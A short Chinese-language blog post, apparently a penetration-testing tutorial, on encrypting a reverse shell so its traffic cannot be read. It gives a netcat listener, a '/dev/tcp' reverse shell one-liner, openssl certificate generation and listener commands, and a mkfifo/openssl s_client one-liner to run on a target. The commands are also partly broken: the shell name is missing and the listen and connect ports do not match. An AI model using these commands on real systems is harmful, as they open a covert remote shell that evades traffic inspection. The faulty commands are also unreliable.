加密基于TCP通信的shell

2021-12-17 20:05:55 浏览数 (1)

环境说明

  • 公网服务器一台
  • kali (内网)

简单的测试

在公网服务器执行命令

代码语言:javascript复制
 nc -lvvp 4444

kali中执行命令

代码语言:javascript复制
   -i >& /dev/tcp/公网ip/5555 0>&1

启动Wireshark开启抓包,分析流量。

测试

我们在终端中随便输入一条命令ifconfig,然后到Wireshark中查看。

openssl加密传输

第一步,在vps上生成SSL证书的公钥/私钥对

代码语言:javascript复制
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

第二步,在VPS监听反弹shell

代码语言:javascript复制
openssl s_server -quiet -key key.pem -cert cert.pem -port 4433

第三步,在目标上用openssl加密反弹shell的流量

代码语言:javascript复制
mkfifo /tmp/s;/bin/  -i < /tmp/s 2>&1|openssl s_client -quiet -connect vps:443 > /tmp/s;rm /tmp/s

流量已经被加密。

0 人点赞